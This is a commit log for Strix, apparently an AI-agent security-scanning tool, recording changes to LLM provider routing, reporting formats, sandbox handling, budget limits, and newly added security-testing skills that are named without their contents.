Compare commits

..
Author SHA1 Message Date
bearsyankees 24a0ee1f4c Add root scan prompt options 2026-07-12 12:29:08 -04:00
alex sandGitHub d24aa5812e Add skill directory registration (#746) 2026-07-12 12:05:58 -04:00
alex sandGitHub 09872744f5 Allow scan agent tool registration (#733) 2026-07-11 23:58:51 -04:00
alex sandGitHub 35a35530ed Support routed OpenAI required tool choice (#732) 2026-07-10 18:43:07 -04:00
alex sandGitHub 2e015c5c92 feat(settings): add force_required_tool_choice to LlmSettings (#730)
feat(inputs): implement logic for required tool choice based on model

test(inputs): add tests for force_required_tool_choice behavior

test(runner): update tests to include force_required_tool_choice in settings
2026-07-10 18:36:33 -04:00
Ayush7614andAhmed Allam 7b639505fe Address Greptile review: GCP and Auth0 recon guidance
- Use curl instead of gsutil for anonymous GCS checks
- Document userinfo requires bearer access token
2026-07-10 08:15:22 -07:00
Ayush7614andAhmed Allam 033f8f74d3 Add GCP and Auth0 security skills
Expand cloud and technology coverage for GCP IAM/storage
and Auth0 tenant/API misconfiguration testing.
2026-07-10 08:15:22 -07:00
0xallamandAhmed Allam 4f193d68e9 fix(providers): match google submodule imports and walk full exception chain
Co-Authored-By: Ahmed Allam <ahmed39652003@gmail.com>
2026-07-10 07:21:47 -07:00
Ousama Ben YounesandAhmed Allam cb60a7a49d test(providers): cover wrapped bedrock import errors 2026-07-10 07:21:47 -07:00
Ousama Ben YounesandAhmed Allam f24366cfe6 fix(providers): show vertex extra hint for wrapped import errors 2026-07-10 07:21:47 -07:00
1f938a05e6 fix(tui): key render cache by content string and return copies
Co-Authored-By: Ahmed Allam <ahmed39652003@gmail.com>
2026-07-10 06:55:38 -07:00
Hardik-369andAhmed Allam b07310243e fix(tui): reduce scroll stutter by throttling UI refresh and caching renders
- Increased UI update interval from 350ms to 500ms
- Reduced dot animation frequency from 60ms to 250ms
- Reduced splash animation frequency from 50ms to 100ms
- Added content hash cache for rendered agent messages to avoid
  re-parsing markdown and re-running Pygments on every tick
- Added guard to prevent redundant scroll_end callbacks from queuing
  during rapid updates

Closes #581
2026-07-10 06:55:38 -07:00
alex sandGitHub fe349c338e fix(report): omit SARIF provenance for multiple repos (#726) 2026-07-10 09:41:18 -04:00
Dustin PersekGitHubAhmed AllamDevin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>Ahmed Allam
0633e518e8 fix(ci): lower Linux release glibc baseline (#707)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
Co-authored-by: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Co-authored-by: Ahmed Allam <49919286+0xallam@users.noreply.github.com>
2026-07-10 06:13:14 -07:00
ZiziGitHubAhmed AllamDevin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
0facfa1ad7 fix(logging): keep verbose openai.agents DEBUG off sandbox stdout (#704)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
Co-authored-by: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
2026-07-10 06:00:40 -07:00
alex sandGitHub 21a5931fac fix(container): allow configured Caido UI domains (#723) 2026-07-10 00:38:29 -04:00
alex sandGitHub 72563c3b7e fix(session): use HTTPS scheme for Caido endpoint if TLS is enabled (#722) 2026-07-10 00:23:27 -04:00
seanturner83andGitHub abf35f24ae fix(runtime): swallow torn-down docker socket in sandbox delete() (#721)
StrixDockerSandboxClient.delete() best-effort-kills the sandbox container via
containers.get(id).kill() before delegating to the SDK's delete(), suppressing
docker NotFound/APIError. But when the docker daemon socket is already going
away — the normal case on a host/CI teardown — containers.get() ->
inspect_container raises requests' ConnectionError, which is a *sibling* of
docker.errors.APIError under requests.RequestException, not a subclass. So it
escapes the APIError-only suppress and surfaces a full traceback on teardown
even though the kill is meant to be best-effort.

Add RequestException to the suppress so the best-effort kill is genuinely
best-effort regardless of daemon reachability.

Test: tests/test_docker_client_delete.py — the kill raising ConnectionError
(and NotFound/APIError) is swallowed and delete() still delegates; unrelated
errors still propagate; no-container_id is a no-op. The ConnectionError case
fails against the pre-fix APIError-only suppress.
2026-07-10 00:13:35 -04:00
Rome ThorstensonandGitHub 1f8a68119b fix(providers): declare bedrock + vertex extras and add provider import-error hints (#588)
* feat: add bedrock + vertex optional extras with install docs and import hints (#574)

Declare [project.optional-dependencies] with vertex (google-auth) and
bedrock (boto3) extras so "strix-agent[vertex]" / "strix-agent[bedrock]"
install the provider SDKs. Add an Installation section to the Bedrock docs
mirroring Vertex, and a _provider_import_hint helper in warm_up_llm that
surfaces a pip-install hint when a provider dependency is missing.

Fixes #574, #573


* fix(providers): use pipx in install hint to match docs

A pipx-installed strix can't add an extra with 'pip install' (wrong env);
mirror the documented 'pipx install "strix-agent[...]"' command. Addresses
Greptile review.
2026-07-07 10:24:49 -04:00
alex sandGitHub 90d00a98cb Add target list CLI option (#711)
* Add target list CLI option

* Handle target list comments and encoding errors
2026-07-06 23:33:08 -04:00
seanturner83andGitHub 6f6c4842b7 feat(report): tag SARIF rules with STRIDE legs derived from CWE (#708)
Builds on the SARIF 2.1.0 emitter (#626): give each SARIF rule one or more
`stride:<leg>` tags (Spoofing / Tampering / Repudiation / Information
disclosure / Denial of service / Elevation of privilege) derived from the
finding's CWE, so consumers — the GitHub code-scanning Security tab, ASPM
dashboards, coverage reports — can group and filter findings by
threat-model leg. SARIF results inherit their rule's tags via ruleId, so
tagging the rule is sufficient.

- _CWE_TO_STRIDE maps common CWEs to legs (dominant leg first where a CWE
  spans several); unmapped / no-CWE findings fall back to a default
  (tampering + information-disclosure) so every finding carries >=1 leg
  and downstream reports have no coverage gaps.
- Includes mappings for CWEs surfaced by real scans: 798 (hardcoded
  creds), 862 (missing authz), 259 (hardcoded password), 1391 (weak
  credential).

Tests: tests/report/test_sarif_stride.py (14 cases — mapping, normalization
of CWE-306/306/"cwe: 306" forms, default fallback, rule-tag emission).
2026-07-06 21:19:53 -04:00
Felix-AyushandGitHub b385e17488 test: add report writer artifact tests (#667)
Cover run record I/O, vulnerability markdown rendering,
CSV severity ordering, and executive report output.
2026-07-06 11:45:29 -04:00
sean-kim05andGitHub 28de11d6e0 fix(config): make env vars win over persisted JSON across all aliases (#689)
_read_json_overrides is documented to let env vars outrank the
persisted cli-config.json, but it decided per-alias and broke on the
first alias found in either env or the file. When a multi-alias field
(e.g. api_key via LLM_API_KEY/OPENAI_API_KEY) was set in the env under
one alias but stored in the file under another, the stale file value
was surfaced as an init kwarg and overrode the live env var. A
lowercase env var was also missed (settings use case_sensitive=False).

Decide whether a field is already set in the environment by checking
all of its aliases case-insensitively before consulting the file. Add
regression tests for the cross-alias and case-insensitive cases.

Closes #688
2026-07-06 11:36:41 -04:00
Ahmed AllamandGitHub 16f77da3b9 Update README (#705) 2026-07-06 07:38:52 -07:00
Viper DroidandGitHub c38e779e55 Add LLM Prompt Injection skill (vulnerabilities) (#616) 2026-07-06 03:52:24 -07:00
sean-kim05andGitHub 699bab80ca fix(tui): show 'more content available' for view_request over 15 lines (#687) 2026-07-06 03:50:02 -07:00
7fed3a562e feat(report): SARIF 2.1.0 emitter for CI / code-scanning integration (#626)
* feat(report): SARIF 2.1.0 emitter for CI / code-scanning integration

Strix emits CSV + markdown + JSON but no SARIF, so findings can't feed
GitHub code-scanning, an ASPM, or any SARIF-consuming CI gate. Add a
stdlib-only emitter (strix/report/sarif.py) and always write findings.sarif
from ReportState._save_artifacts, beside the existing artifacts.

Design invariants (learned from running this in production):
- Stable partialFingerprints.primaryLocationLineHash per finding, so a
  re-scan that re-words a title doesn't churn code-scanning alert IDs.
- Class/category hashing so the same vuln class maps to a stable ruleId
  across scans rather than drifting.
- Findings with no code location anchor to SECURITY.md with a synthetic
  location marker instead of being silently dropped.
- Always emit (even with zero findings) so a clean re-scan overwrites a
  stale findings.sarif and code-scanning auto-resolves fixed alerts.
- tool.driver.version reports the strix package version.
- Fully isolated in its own try/except: a SARIF build error must never
  break the CSV/MD/run-record path.

Verified end-to-end on v1.0.4 against a SQLi/cmd-inj/weak-hash fixture:
3 findings -> valid SARIF 2.1.0, 3 results, real code locations, distinct
per-finding fingerprints.


* fix(report): complete SARIF code scanning metadata

---------
Co-authored-by: bearsyankees <bearsyankees@gmail.com>
2026-07-03 10:43:31 -04:00
b79c99225d Add five security skills: OAuth, AWS, prototype pollution, deserialization, Django (#617)
* Add five community security skills for agent specialization

Expand coverage with OAuth flow testing, AWS misconfigurations, prototype
pollution, insecure deserialization, and Django framework playbooks.

* Address Greptile review feedback on AWS and deserialization skills

- Use head-bucket for S3 existence checks instead of duplicating s3 ls
- Add Node.js to insecure_deserialization frontmatter description

* Clarify S3 existence vs public listing checks in aws skill

Split unauthenticated enumeration into separate head-bucket/HTTP
and s3 ls steps with interpretation guidance per review.

* some tools ads

---------

Co-authored-by: bearsyankees <bearsyankees@gmail.com>
2026-07-03 00:15:53 -04:00
Sonai BiswasandGitHub 6fd9fb501f fix: report cost for streamed OpenRouter calls (#634)
* fix: capture cost for streamed LiteLLM responses

* docs: note LiteLLM streaming metadata callbacks
2026-07-03 00:10:28 -04:00
Sadovoi GrigoriiandGitHub b655159866 fix: avoid note ID collisions (#630) 2026-07-02 22:54:44 -04:00
63798718c7 fix grammer (#642)
Co-authored-by: Alex Schapiro <46074070+bearsyankees@users.noreply.github.com>
2026-07-02 22:47:02 -04:00
Alex Schapiro 1223a215b8 fix(report): correct csv_path indentation in write_vulnerabilities (#637)
Line 72 was over-indented, causing an IndentationError on import of strix/report/writer.py and breaking main. Also bump the mirrors-mypy pre-commit hook to v1.17.1 to avoid the mypy 1.16.0 internal crash (python/mypy#19412) on openai/_client.py.
2026-07-02 15:27:24 -04:00
ASTITVA BHARDWAJandGitHub b45d0f198c Fix non-atomic CSV and MD writes to prevent corruption on crash (#628) (#631) 2026-07-02 07:53:30 -07:00
Rome ThorstensonandGitHub 7b72a45f6e test: add unit tests for config loader (strix/config/loader.py) (#596) 2026-06-30 04:31:29 -07:00
Dominic WhiteandGitHub e18f03638f Remove collection of unhandled exception error messages from telemetry (#585) 2026-06-29 19:22:06 -07:00
Ahmed AllamandGitHub e995e74eca chore(deps): refresh uv.lock to latest compatible versions (#606) 2026-06-29 19:10:18 -07:00
Ahmed AllamandGitHub 02cf3900f9 Update readme (#607) 2026-06-29 19:09:58 -07:00
Ahmed AllamandGitHub 5331b386d1 Readme update 2026-06-29 19:00:46 -07:00
Rome ThorstensonandGitHub 3a250916c6 fix: stop gracefully with resume hint on persistent RateLimitError (#261) (#593) 2026-06-29 07:31:54 -07:00
Rome ThorstensonandGitHub b20e6e565c fix(core): collapse child agent initial input into a single user message (#589) 2026-06-29 06:51:47 -07:00
Mads HvelplundandGitHub 519750c1cc Support large target repos with with bind-mount option. (#577)
* fix: resolve pre-commit check failures

- Change RuntimeError to TypeError for type validation in report/writer.py
- Update pyupgrade to v3.21.2 for Python 3.14 compatibility

* chore: add pytest test infrastructure

Mirror the layout introduced on feature/438-token_budget: pytest +
pytest-asyncio dev deps, asyncio_mode auto, a tests.* mypy override, and
pytest in the mypy pre-commit hook deps so the tests/ package type-checks.

* feat: add --mount and large-target pre-flight for local repos (#492)

Large local targets were copied into the sandbox file-by-file via the SDK
LocalDir entry, which stalls on big repos and could leave /workspace empty.

- --mount <path> bind-mounts a host directory read-only at /workspace/<subdir>
  instead of copying it, bypassing the per-file stream.
- A size pre-flight (STRIX_MAX_LOCAL_COPY_MB, default 1024) fails fast with a
  clear message suggesting --mount when a non-mounted local target is too big.

* fix: reject empty --mount paths

An empty or whitespace-only --mount value resolves to the current working
directory and would silently bind-mount it into the sandbox. Reject it.

* fix: dedupe local targets so a dir is never both copied and mounted

If the same directory is passed via --target and --mount (or as duplicate
values), it previously produced two targets — copied AND bind-mounted, and
the copied one could trip the size pre-flight. Dedupe by resolved path,
preferring the bind mount.

* fix: treat non-positive STRIX_MAX_LOCAL_COPY_MB as disabled

Previously a value of 0 (or negative) made every local target count as
oversized, aborting all local scans. Now <= 0 disables the pre-flight.

* fix: log unreadable subtrees during size pre-flight

os.walk silently swallowed directory-listing errors, so a permission-denied
subtree could make a large repo under-count and slip past the pre-flight.
Surface such omissions via an onerror warning.

* docs: document --mount and STRIX_MAX_LOCAL_COPY_MB

Add CLI reference + example for --mount, document the size pre-flight env var,
note the read-only-is-not-a-hard-boundary caveat and that remote repos are not
size-checked, and clarify the backends docstring on when bind mounts apply.

* Update strix/interface/main.py


* Update strix/runtime/docker_client.py


---------
2026-06-22 12:41:42 -04:00
Mads HvelplundandGitHub dde4c13955 Add configurable token / cost usage limits (#576)
* fix: resolve pre-commit check failures

- Change RuntimeError to TypeError for type validation in report/writer.py
- Update pyupgrade to v3.21.2 for Python 3.14 compatibility

* feat(cli): add --max-budget-usd flag

Raises BudgetExceededError in ReportUsageHooks after each LLM call when
accumulated cost reaches the limit, with clean "stopped" status and
child-agent cancellation in non-interactive mode.

* test: add budget enforcement unit tests

7 tests covering no-budget, under-budget, at-limit, over-limit, error
message content, None report state, and exception hierarchy.
Also adds pytest/pytest-asyncio to dev deps and a mypy override for tests.

* fix(budget): validate positive budget and check the live cost ledger

Two hardening fixes for --max-budget-usd enforcement:

- Reject non-positive budgets. ReportUsageHooks now raises ValueError for
  max_budget_usd <= 0, and the CLI validates the flag via a custom argparse
  type so '--max-budget-usd 0' fails fast with a friendly message instead of
  silently killing the scan on the first model response.
- Read the live cost. The budget check now reads ReportState.get_total_llm_cost()
  (the live ledger) instead of the persisted run-record snapshot, so it stays
  accurate even when a usage save fails after a model call.

* fix(budget): stop the entire scan deterministically when the limit is hit

Previously a BudgetExceededError was handled per-agent: it was swallowed in
interactive mode (the loop kept waiting), a child's error escaped its detached
task as an unretrieved-exception warning, the parent was never released from
wait_for_message, and the stop was logged at ERROR with a traceback as if the
agent had failed.

Replace that with a single scan-wide signal on the coordinator:

- AgentCoordinator.trigger_budget_stop() sets a flag and wakes every parked
  agent; wait_for_message returns as soon as the flag is set.
- The run loops check coordinator.budget_stopped and raise to exit cleanly,
  marking themselves 'stopped'. The root's exception reaches run_strix_scan's
  handler, which cancels descendants and tears the scan down once; child
  exceptions are swallowed in their detached task.
- The budget stop is logged at INFO, not as a failure.

This is deterministic regardless of tree depth or which agent first sees the
limit, fixing the interactive/TUI hang where a deep agent's stop never reached
a parked root. Also re-raises BudgetExceededError explicitly in the stream
handler so it can't be mistaken for the LiteLLM 'after shutdown' race.

* fix(budget): treat a budget stop as a clean stop in the TUI

Add an explicit BudgetExceededError handler in the TUI scan thread so that, if
the error ever reaches it, the budget stop is logged as a graceful stop rather
than surfaced as a red scan error by the broad 'except Exception'. The runner
normally absorbs the error and returns cleanly, so this is defensive depth for
a money-spending feature.

* docs(cli): document --max-budget-usd behavior and limitations

Clarify that the budget is cumulative across all agents, checked after each
model response, that the scan stops cleanly (not as a failure), that the value
must be > 0, and that spend can slightly overshoot due to in-flight calls and
best-effort cost estimation.

* Apply suggestions from code review


---------
2026-06-22 11:17:08 -04:00
f42859270b fix: route ollama models through ollama_chat so tool calling works (#562)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-06-15 17:39:21 -07:00
Ahmed AllamandGitHub 48f6e02548 Bump 1.0.3 -> 1.0.4 (#557) 2026-06-09 09:41:44 -07:00
Ahmed AllamandGitHub d529294d37 Strip ANSI escapes and control bytes from terminal tool output (#554) 2026-06-09 09:22:50 -07:00
Ahmed AllamandGitHub f63e391151 Strip all images from session on vision-rejection, not just the latest (#553) 2026-06-09 02:48:30 -07:00
Ahmed AllamandGitHub f1242891f2 Swallow sandbox container races in the stream consumer (#552) 2026-06-09 01:46:23 -07:00
Ahmed AllamandGitHub 6787f24787 Make TUI quit instant by SIGKILL-ing the sandbox container (#548) 2026-06-08 23:40:45 -07:00
Ahmed AllamandGitHub 37c4028f0a Bump 1.0.2 -> 1.0.3 (#537) 2026-06-08 18:05:02 -07:00
Ahmed AllamandGitHub bea46e45de Simplify cost ledger to one bucket (#531) 2026-06-08 15:56:28 -07:00
Ahmed AllamandGitHub c86be14d5c Use observed LiteLLM cost for LiteLLM-routed calls (#529)
Register a litellm.success_callback that captures kwargs['response_cost']
into a new observed-cost bucket on LLMUsageLedger. record() skips the
tokens-times-registry estimate for LiteLLM-routed models so we do not
double-count with the callback; OpenAI direct routes keep estimating
since LiteLLM is not invoked for them. Per-agent attribution for
LiteLLM-routed calls is apportioned by token share at to_record() time.
2026-06-08 15:01:48 -07:00
Ahmed AllamandGitHub f3f6d00c0b Gate Reasoning(effort=...) on registry support (#528)
OpenAI's Responses API rejects reasoning.effort on non-reasoning
models like gpt-4o with `unsupported_parameter`, so any scan with
the default STRIX_REASONING_EFFORT=high against gpt-4o crashed at
the first model call. drop_params=True absorbs the rejected param
on LiteLLM-routed models but the SDK's native OpenAI path has no
equivalent.

Lift model_supports_reasoning to a public helper that strips
litellm/, any-llm/, openai/ prefixes and falls back to last-segment
lookup so prefixed forms like anthropic/claude-opus-4-7 resolve
through the bare model_cost entry. make_model_settings regains
model_name and skips Reasoning() when the registry doesn't confirm
support. uses_chat_completions_tool_schema reuses the same helper
(was duplicating the lookup under a misleading name).
2026-06-08 13:18:07 -07:00
Ahmed AllamandGitHub 585f3e0fd8 Show "Send message to resume" on the left of the status bar (#525) 2026-06-07 17:41:06 -07:00
0xallamandAhmed Allam ddeed7df9e Use function-tool schema for non-reasoning OpenAI models
OpenAI's Responses API rejects tools[i].type="custom" on non-reasoning
models like gpt-4o (400 with code=unknown_parameter, param=tools).
Strix's SDK-native Filesystem capability registers CustomTool entries
by default, so a bare STRIX_LLM=gpt-4o run failed at the first tool
invocation even though warm-up (a tool-less call) succeeded.

uses_chat_completions_tool_schema now consults
litellm.model_cost[<name>].supports_reasoning for OpenAI routes and
flips to the chat-completions function-tool schema for models that
don't carry the reasoning flag. Same registry-lookup pattern as
is_known_openai_bare_model. Non-OpenAI prefixes and configs with
LLM_API_BASE are unchanged (still function tools).
2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam 1de58e77b1 Bump litellm 1.83.7 -> 1.88.0 2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam 2806467322 Suppress LiteLLM stdout banner spam
litellm.suppress_debug_info silences two unsolicited print() calls in
LiteLLM core: the "Provider List: https://docs.litellm.ai/docs/providers"
banner emitted by get_llm_provider_logic and the "Give Feedback /
Get Help" + "If you need to debug this error, use litellm._turn_on_debug()"
pair emitted by exception_mapping_utils on every LiteLLM exception.
Both are unconditional print() calls, not logger output, so log-level
config can't catch them. LiteLLM's own router and proxy_server set the
same flag for the same reason.
2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam 073b48a46c Pre-warm-up unknown-model warning + LiteLLM streaming hardening
Warn on bare unknown model names before warm-up. is_known_openai_bare_model
consults litellm.model_cost and matches only entries whose
litellm_provider == "openai". When the configured STRIX_LLM has no
provider prefix, isn't a known OpenAI model, and no LLM_API_BASE is
set, show a clear panel pointing the user at the <provider>/<model>
form and exit before issuing the doomed request — no more chasing an
"Incorrect API key" 401 from OpenAI when the user actually meant
deepseek/, anthropic/, etc. Custom-base configs are still allowed
through unconfirmed.

Disable LiteLLM's message-logging and streaming-logging knobs to cut
noise and skip one of the two end-of-stream submit paths. The other
path at streaming_handler.py:2206 schedules work on a global
ThreadPoolExecutor that loses to atexit shutdown when the interpreter
is winding down; the SDK's stream consumer surfaces that as a fatal
"cannot schedule new futures after shutdown" RuntimeError even though
the actual stream content was already delivered. Catch and swallow
that specific RuntimeError in _run_cycle so the scan isn't killed by
an upstream end-of-stream logging race.
2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam cde52764cc Strip model-aware branches from LLM configuration
Drop every hand-rolled provider table and per-model gating that had
accumulated in the model-handling layer:

  * normalize_model_name no longer auto-prefixes bare claude-* / gemini-*
    names. Users supply the full <provider>/<model> form. The function
    became literally model_name.strip(), so callers now inline that and
    the function is removed.
  * tool_choice="required" is gone everywhere. Thinking-mode endpoints
    (Anthropic, DeepSeek /beta) reject it; modern reasoning models don't
    need it; non-interactive runs already have
    _append_noninteractive_tool_required_message as the convergence
    backstop. model_supports_reasoning, model_known_to_registry, and
    _model_cost_entry were only used to gate this and follow it out.
  * Reasoning(effort=...) is now attached whenever
    STRIX_REASONING_EFFORT is non-none. litellm.drop_params=True absorbs
    it for non-reasoning models.
  * Warm-up's bare-name OpenAI 401 hint is removed (false-positive prone,
    relied on substring matching).
  * reset_tool_choice on SandboxAgent is no-op now (no tool_choice gets
    set) and is removed.
  * report/dedupe.py was still routing through stock MultiProvider, so
    non-OpenAI configs failed the dedupe LLM pass; switch it to
    StrixProvider.

Verified end-to-end against modern provider strings (openai/gpt-5.4,
anthropic/claude-opus-4-7, deepseek/deepseek-reasoner,
gemini/gemini-2.5-pro, groq/, xai/, mistral/, together_ai/, perplexity/,
openrouter/, litellm/ legacy form, and whitespace-padded input): 18/18
cases route correctly, env vars mirror via litellm.validate_environment,
and ModelSettings carries no tool_choice. mypy strict passes.
2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam d5e0397aea Stop exposing litellm/ prefix in user-facing model names
Users had to type STRIX_LLM=litellm/deepseek/deepseek-chat — the
litellm/ wrapper was Strix-internal plumbing surfacing in user config.

Add StrixProvider, a MultiProvider subclass that routes any non-OpenAI
prefix (deepseek/, anthropic/, groq/, xai/, mistral/, openrouter/, …)
through LitellmProvider with the prefix preserved. normalize_model_name
no longer adds litellm/ to anything; bare claude-* / gemini-* shorthands
expand to anthropic/<model> / gemini/<model> instead of the wrapped form.

Wire StrixProvider into warm_up_llm and RunConfig.model_provider.
litellm/<provider>/<model> and any-llm/<provider>/<model> still resolve
unchanged for users on older config.

Refresh stale model names in the env-validation messages and the
warm-up hint (gpt-5.4, claude-opus-4-7, deepseek-reasoner).

Verified 24-case end-to-end matrix: OpenAI direct vs. LitellmProvider
routing, env-var mirroring via validate_environment, supports_reasoning
detection, and tool_choice gating all behave correctly across modern
providers including the user's unknown DeepSeek SKU.
2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam 1c6a07f31b Drop tool_choice for registry-unknown reasoning-effort runs
When the user opts into reasoning_effort but the configured model
isn't in litellm.model_cost at all (private SKUs, fresh releases the
registry hasn't picked up — e.g. deepseek/deepseek-v4-pro), we can't
confirm thinking support and were sending tool_choice="required",
which thinking-mode endpoints reject ("Thinking mode does not support
this tool_choice").

Add model_known_to_registry() and split the decision: when the user
wants reasoning AND the model is either confirmed-reasoning OR
unknown-to-registry, drop tool_choice. The Reasoning(effort=...) param
still only attaches for confirmed-reasoning models, so we don't send
reasoning hints to known non-reasoning models.

Known non-reasoning models (gpt-4o, registry-confirmed) keep
tool_choice="required" unchanged.
2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam 17ba9ba4a6 Hint at provider prefix when bare model 401s against OpenAI
A bare model name without a provider prefix routes through the SDK's
default OpenAI provider, so configuring STRIX_LLM=deepseek-v4-pro with
LLM_API_KEY=<deepseek key> sends that key to api.openai.com and
surfaces a confusing "Incorrect API key" error pointing at the OpenAI
dashboard.

When warm-up fails with an OpenAI-shaped error AND the configured
model is still unprefixed after normalize_model_name, append a hint
that points the user at the '<provider>/<model>' form with concrete
examples.
2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam 03241665a7 Use validate_environment to resolve provider env var
Naively uppercasing the routing prefix breaks for providers whose
LiteLLM env var name doesn't match the prefix verbatim:
  together_ai/...  needs TOGETHERAI_API_KEY  (no underscore)
  perplexity/...   needs PERPLEXITYAI_API_KEY

Ask LiteLLM directly via litellm.validate_environment(model=...) which
env vars it consults for the chosen provider, then setdefault each one
to LLM_API_KEY. This is the SDK-blessed lookup and stays correct for
every provider LiteLLM supports without a hand-maintained name map.

Lowercase the routed model name before lookup so mixed-case user input
(e.g. Together_AI/...) still resolves.
2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam 9d8399559b Cover bare claude-/gemini- shorthands in env mirror
normalize_model_name expands `claude-*` and `gemini-*` shorthands into
`litellm/anthropic/...` and `litellm/gemini/...` at routing time, but
the mirror helper was looking at the raw pre-normalization name — bare
shorthands had no `/` and hit the early return, so ANTHROPIC_API_KEY /
GEMINI_API_KEY were never populated for those users.

Run the same normalization inside the mirror helper so the provider
prefix is consistent with what LiteLLM actually sees downstream.
2026-06-07 17:36:19 -07:00
0xallamandAhmed Allam 1ef799d610 Mirror LLM_API_KEY to provider env var (closes #504)
LiteLLM's per-provider branches (deepseek, anthropic, groq, etc.)
don't consult ``litellm.api_key`` (the module global Strix sets).
They only check the per-call ``api_key`` kwarg and the
``<PROVIDER>_API_KEY`` env var. The SDK's LitellmModel passes
``api_key=None`` by default, so requests went out with an empty
bearer and DeepSeek (and friends) returned 401.

Mirror the user's LLM_API_KEY into the provider-specific env var
(``DEEPSEEK_API_KEY`` for ``deepseek/...``, ``ANTHROPIC_API_KEY``
for ``anthropic/...``, etc.) using LiteLLM's documented convention.
``os.environ.setdefault`` is used so an explicit user env is never
clobbered. The OpenAI branch was already working via
``set_default_openai_key`` + the existing ``litellm.api_key`` global
fallback.
2026-06-07 17:36:19 -07:00
Ahmed AllamandGitHub 4d5c38e877 fix: gate reasoning_effort by LiteLLM model registry (closes #517) (#523) 2026-06-07 12:24:48 -07:00
Ahmed AllamandGitHub 5b4f2e8b99 fix: SDK tracing leak + orphan docker on TUI quit (closes #512) (#522) 2026-06-07 11:28:06 -07:00
Ahmed AllamandGitHub 3d9259c82c fix: reasoning models reject tool_choice=required; bump to 1.0.2 (closes #503, #505) (#508) 2026-05-28 11:55:10 -07:00
Ahmed AllamandGitHub 845e060df2 fix: PyInstaller bundle is broken (missing agents SDK data + wrongly excluded gql); bump to 1.0.1 (#502) 2026-05-26 20:04:01 -07:00
Ahmed AllamandGitHub 0209296308 Strix v1.0.0 release
Strix v1.0.0 — Native tool calling, save & resume, multi-agent control
2026-05-26 14:42:13 -07:00
0xallam 2284667844 Merge origin/main into harness-migration
Brings in 10 commits from main on top of the v1.0.0 branch.

Resolutions:
- Legacy harness files modified on main but deleted in the migration —
  kept as deleted: strix/agents/base_agent.py, strix/agents/state.py,
  strix/config/config.py, strix/llm/llm.py,
  strix/llm/memory_compressor.py, strix/llm/utils.py,
  strix/runtime/docker_runtime.py.
- tests/runtime/test_docker_runtime.py — removed; tests dead code.
- strix/skills/vulnerabilities/idor.md and ssrf.md — auto-merged.
- New skills from main kept: header_injection.md, http_request_smuggling.md,
  nosql_injection.md, ssti.md.
2026-05-26 14:30:30 -07:00
0xallam 35eada2ea7 Bump to 1.0.0
- pyproject.toml + uv.lock — strix-agent package version
- strix/config/settings.py — default STRIX_IMAGE tag
- docs/advanced/configuration.mdx — documented default
- scripts/install.sh — installer default
2026-05-26 14:15:25 -07:00
0xallam 6e4b065e0e Strip narrative comments and module/helper docstrings
Five rounds of sweep across the tree. Net ~544 lines removed.

Removed:
- Section-divider banners and one-line section labels (# Display
  utilities, # ----- list_requests -----, # CVSS breakdown, etc.).
- Module-level prose docstrings on internal modules. Kept one-line
  summaries; trimmed multi-paragraph narration about SDK/Strix
  responsibility splits, cache strategies, three-source precedence.
- Internal-helper docstrings that just restate the function name —
  caido_api helpers (caido_url, get_client, view_request, etc.),
  settings-class one-liners (LLMSettings, RuntimeSettings, ...),
  UI helper docstrings.
- Args/Returns blocks on non-LLM-facing internal helpers
  (build_strix_agent, render_system_prompt, create_or_reuse,
  bootstrap_caido) — kept only the genuinely non-obvious params.
- Internal-history phrasing — "Mirrors main-branch shape",
  "pre-SDK harness", "previous lookup matched no attribute".
- Narrative comments inside function bodies that explained what the
  next line does, design rationale obvious from the surrounding code,
  or "we used to..." asides.
- Trailing periods on every error-string literal across the tool tree.
- Duplicated roundtripTime quirk comment (kept the LLM-facing copy in
  tools/proxy/tools.py).

Kept (every one names an upstream bug, vendored-code provenance, or
non-obvious data quirk):
- core/runner.py: SDK replay-with-empty-initial-input + on_agent_end
  lifecycle gap.
- runtime/docker_client.py: VERBATIM COPY block of the upstream
  _create_container body, pinned to SDK v0.14.6.
- runtime/session_manager.py: NO_PROXY for agent-browser CDP loopback.
- tools/proxy/caido_api.py: generated-pydantic Request.raw quirk,
  replay double-history pitfall.
- tools/proxy/tools.py: Caido roundtripTime=0 quirk for proxy
  captures.
2026-05-26 14:02:40 -07:00
0xallam 48e2cbfe11 Tighten tool surface consistency
Four passes of audit-and-patch on the tool surface, condensed.

Tool API shape:
- Todo tools collapse to a single list-based form (one arg per tool,
  always a list, no dual-mode validator). Result-field names line up
  across the family — created_count / updated_count / marked_count /
  deleted_count, and _mark returns a single "marked" key plus the new
  status instead of marked_done / marked_pending.
- list_notes splits the overloaded total_count into filtered_count
  (matches) and total_count (grand total), matching list_todos. All
  three notes mutations now echo total_count and note_id.
- finish_scan drops the machine-code error strings; a single human
  "error" key carries the reason on every failure path.
- scope_rules delete echoes a message so the renderer's success
  branch has something to surface.

Failure-key unification: every tool now uses {"success": False,
"error": "..."} on failure paths. Touched thinking, web_search,
reporting, and finish. Trailing periods on error strings swept clean
across the whole tool tree.

Tool prompts (docstring re-imports vs main):
- create_vulnerability_report re-imports the CWE reference catalog,
  multi-part fix rules, fix_before/fix_after PR-suggestion mechanics,
  the COMMON MISTAKES list, the informational-vs-actionable
  distinction, and file-path examples.
- web_search re-imports concrete example queries.
- list_sitemap docstring fixed hasDescendants -> has_descendants
  (the camelCase reference never matched our snake_case schema).
- create_agent.skills description "Comma-separated" -> "List of".
- factory.py module docstring no longer claims there's no runtime
  skill-loading tool. agents_graph module docstring lists stop_agent.
- system_prompt nudges loading the matching skill before guessing
  payloads or syntax from memory.

TUI:
- proxy_renderer was reading stale field names from the pre-SDK
  schema (requests / total_count / statusCode / matches /
  showing_lines); now reads entries / page_info / status_code / hits
